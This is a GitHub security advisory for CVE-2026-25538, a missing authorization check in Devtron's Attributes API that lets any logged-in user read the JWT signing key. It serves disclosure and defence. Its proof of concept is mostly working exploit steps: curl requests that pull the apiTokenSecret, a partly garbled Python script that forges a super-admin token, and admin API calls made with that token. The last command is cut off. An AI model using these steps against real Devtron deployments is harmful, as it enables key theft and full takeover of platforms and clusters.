GitHub Advisoryadvisory · Go
GHSA-8wpc-j9q9-j5m2 Devtron Attributes API Unauthorized Access Leading to API Token Signing Key Leakage
HIGH
Official page ↗
- Aliases
- CVE-2026-25538
- Ecosystem
- Go
- Packages
- github.com/devtron-labs/devtron
- Severity
- High
- CVSS vector
- CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
- Weaknesses
- CWE-862
- Reviewed
- 2026-02-04
Affected packages
• Go github.com/devtron-labs/devtron: <= 2.0.0 (no fix yet)
Description
Devtron Attributes API Unauthorized Access Leading to API Token Signing Key Leakage
Summary
This vulnerability exists in Devtron's Attributes API interface, allowing any authenticated user (including low-privileged CI/CD Developers) to obtain the global API Token signing key by accessing the `/orchestrator/attributes?key=apiTokenSecret` endpoint. After obtaining the key, attackers can forge JWT tokens for arbitrary user identities offline, thereby gaining complete control over the Devtron platform and laterally moving to the underlying Kubernetes cluster.
CWE Classification: CWE-862 (Missing Authorization)
Details
Vulnerability Mechanism
Devtron uses a JWT-based API Token mechanism for authentication. All API Tokens are signed using HMAC-SHA256 with the `apiTokenSecret` stored in the database. This key is exposed through the Attributes API, but the authorization check code for this API has been commented out, allowing any authenticated user to read it.
Source Code Analysis
Vulnerability Location: `api/restHandler/AttributesRestHandlder.go:173-195`
```go
func (handler AttributesRestHandlerImpl) GetAttributesByKey(w http.ResponseWriter, r *http.Request) {
// Only checks if user is logged in
userId, err := handler.userService.GetLoggedInUser(r)
if userId == 0 || err != nil {
common.HandleUnauthorized(w, r)
return
}
// CRITICAL: RBAC check is commented out
/*token := r.Header.Get("token")
if ok := handler.enforcer.Enforce(token, rbac.ResourceGlobal, rbac.ActionGet, "*"); !ok {
WriteJsonResp(w, errors.New("unauthorized"), nil, http.StatusForbidden)
return
}*/
// Directly retrieves any attribute without authorization
vars := mux.Vars(r)
key := vars["key"]
res, err := handler.attributesService.GetByKey(key)
if err != nil {
handler.logger.Errorw("service err, GetAttributesById", "err", err)
common.WriteJsonResp(w, err, nil, http.StatusInternalServerError)
return
}
common.WriteJsonResp(w, nil, res, http.StatusOK)
}
```
Key Usage: `pkg/apiToken/ApiTokenSecretService.go:54-88`
```go
func (impl ApiTokenSecretServiceImpl) GetApiTokenSecretByteArr() ([]byte, error) {
if len(impl.apiTokenSecretStore.Secret) == 0 {
return nil, errors.New("secret found empty")
}
return []byte(impl.apiTokenSecretStore.Secret), nil
}
func (impl ApiTokenSecretServiceImpl) getApiSecretFromDb() (string, error) {
apiTokenSecret, err := impl.attributesService.GetByKey(bean.API_SECRET_KEY)
if err != nil {
return "", err
}
if apiTokenSecret == nil || len(apiTokenSecret.Value) == 0 {
return "", errors.New("api token secret from DB found nil/empty")
}
return apiTokenSecret.Value, nil
}
```
This key is used to sign and verify all Devtron API Tokens and is the core credential of the control plane.
PoC (Proof of Concept)
Environment Setup
Prerequisites
• Kubernetes cluster (v1.22+)
• kubectl configured
• Helm 3.x
• Python 3.x with PyJWT library
Step 1: Install Devtron
```bash
Add Devtron Helm repository
helm repo add devtron https://helm.devtron.ai
helm repo update devtron
Install Devtron with CI/CD module
helm install devtron devtron/devtron-operator \
--create-namespace --namespace devtroncd \
--set components.devtron.service.type=NodePort \
--set installer.modules={cicd} \
--set installer.arch=multi-arch
Wait for installation to complete (15-20 minutes)
kubectl -n devtroncd get installers installer-devtron -o jsonpath='{.status.sync.status}'
Expected output: Applied
```
Step 2: Access Devtron Dashboard
```bash
Set up port forwarding
kubectl -n devtroncd port-forward service/devtron-service 8000:80 &
Get admin password
ADMIN_PASSWORD=$(kubectl -n devtroncd get secret devtron-secret \
-o jsonpath='{.data.ADMIN_PASSWORD}' | base64 -d)
echo "Admin password: ${ADMIN_PASSWORD}"
```
Access http://127.0.0.1:8000 and login with admin account.
Exploitation Steps
Step 1: Obtain User Token
Login as a regular user and obtain token:
```bash
Login as regular user
curl -s -X POST "http://127.0.0.1:8000/orchestrator/api/v1/session" \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"'${ADMIN_PASSWORD}'"}' | jq .
Extract token
USER_TOKEN=$(curl -s -X POST "http://127.0.0.1:8000/orchestrator/api/v1/session" \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"'${ADMIN_PASSWORD}'"}' | jq -r '.result.token')
echo "User token: ${USER_TOKEN:0:50}..."
```
Actual Output Example:
```json
{
"code": 200,
"status": "OK",
"result": {
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...",
"userId": 1,
"userEmail": "admin"
}
}
```
Step 2: Exploit Vulnerability to Retrieve apiTokenSecret
Use the obtained token to access the unauthorized Attributes API:
```bash
Request apiTokenSecret
curl -s -X GET "http://127.0.0.1:8000/orchestrator/attributes?key=apiTokenSecret" \
-H "token: ${USER_TOKEN}" | jq .
Extract secret
API_SECRET=$(curl -s -X GET "http://127.0.0.1:8000/orchestrator/attributes?key=apiTokenSecret" \
-H "token: ${USER_TOKEN}" | jq -r '.result.value')
echo "Leaked API Token Secret: ${API_SECRET:0:20}..."
echo "Secret length: ${#API_SECRET} characters"
```
Actual Output Example:
```json
{
"code": 200,
"status": "OK",
"result": {
"id": 1,
"key": "apiTokenSecret",
"value": "a1b2c3d4-e5f6-7890-abcd-ef1234567890",
"active": true,
"createdOn": "2024-01-15T10:30:00Z",
"createdBy": 1
}
}
```
Step 3: Forge Admin JWT Token
Forge admin token using the leaked key:
```bash
Install PyJWT if not already installed
pip3 install PyJWT
Create token forging script
cat > forge_token.py ")
sys.exit(1)
secret = sys.argv[1]
admin_token = forge_admin_token(secret, user_id=1, email="admin")
print(f"[+] Forged Admin Token:")
print(admin_token)
print()
decoded = jwt.decode(admin_token, secret, algorithms=["HS256"])
print(f"[+] Token Payload:")
print(json.dumps(decoded, indent=2))
EOF
chmod +x forge_token.py
Forge admin token
python3 forge_token.py "${API_SECRET}"
```
Actual Output Example:
```
[+] Forged Admin Token:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxIiwiZW1haWwiOiJhZG1pbiIsImlhdCI6MTcwNTMxNDAwMCwiZXhwIjoxNzM2ODUwMDAwLCJpc3MiOiJkZXZ0cm9uIiwicm9sZXMiOlsicm9sZTpzdXBlci1hZG1pbl9fXyJdfQ.xYz123AbC456DeF789GhI012JkL345MnO678PqR901StU
[+] Token Payload:
{
"sub": "1",
"email": "admin",
"iat": 1705314000,
"exp": 1736850000,
"iss": "devtron",
"roles": [
"role:super-admin___"
]
}
```
Step 4: Test Forged Token with Admin APIs
Use the forged token to access admin APIs:
```bash
Extract forged token
FORGED_TOKEN=$(python3 forge_token.py "${API_SECRET}" | grep -A 1 "Forged Admin Token:" | tail -1)
Test 1: Get all users (requires admin permission)
echo "[*] Test 1: Getting user list..."
curl -s -X GET "http://127.0.0.1:8000/orchestrator/user/all" \
-H "token: ${FORGED_TOKEN}" | jq '.result[] | {id, email_id, roles}'
Test 2: Get cluster list (requires admin permission)
echo "[*] Test 2: Getting cluster list..."
curl -s -X GET "http://127.0.0.1:8000/orchestrator/cluster" \
-H "token: ${FORGED_TOKEN}" | jq '.result[] | {id, cluster_name, server_url}'
Test 3: Get all applications
echo "[*] Test 3: Getting application list..."
curl -s -X GET "http://127.0.0…
Related
Alias · CVE (1)
- CVE-2026-25538 Devtron is an open source tool integration platform for Kubernetes. vulnerability
Weakness · CWE (1)
- CWE-862 Missing Authorization weakness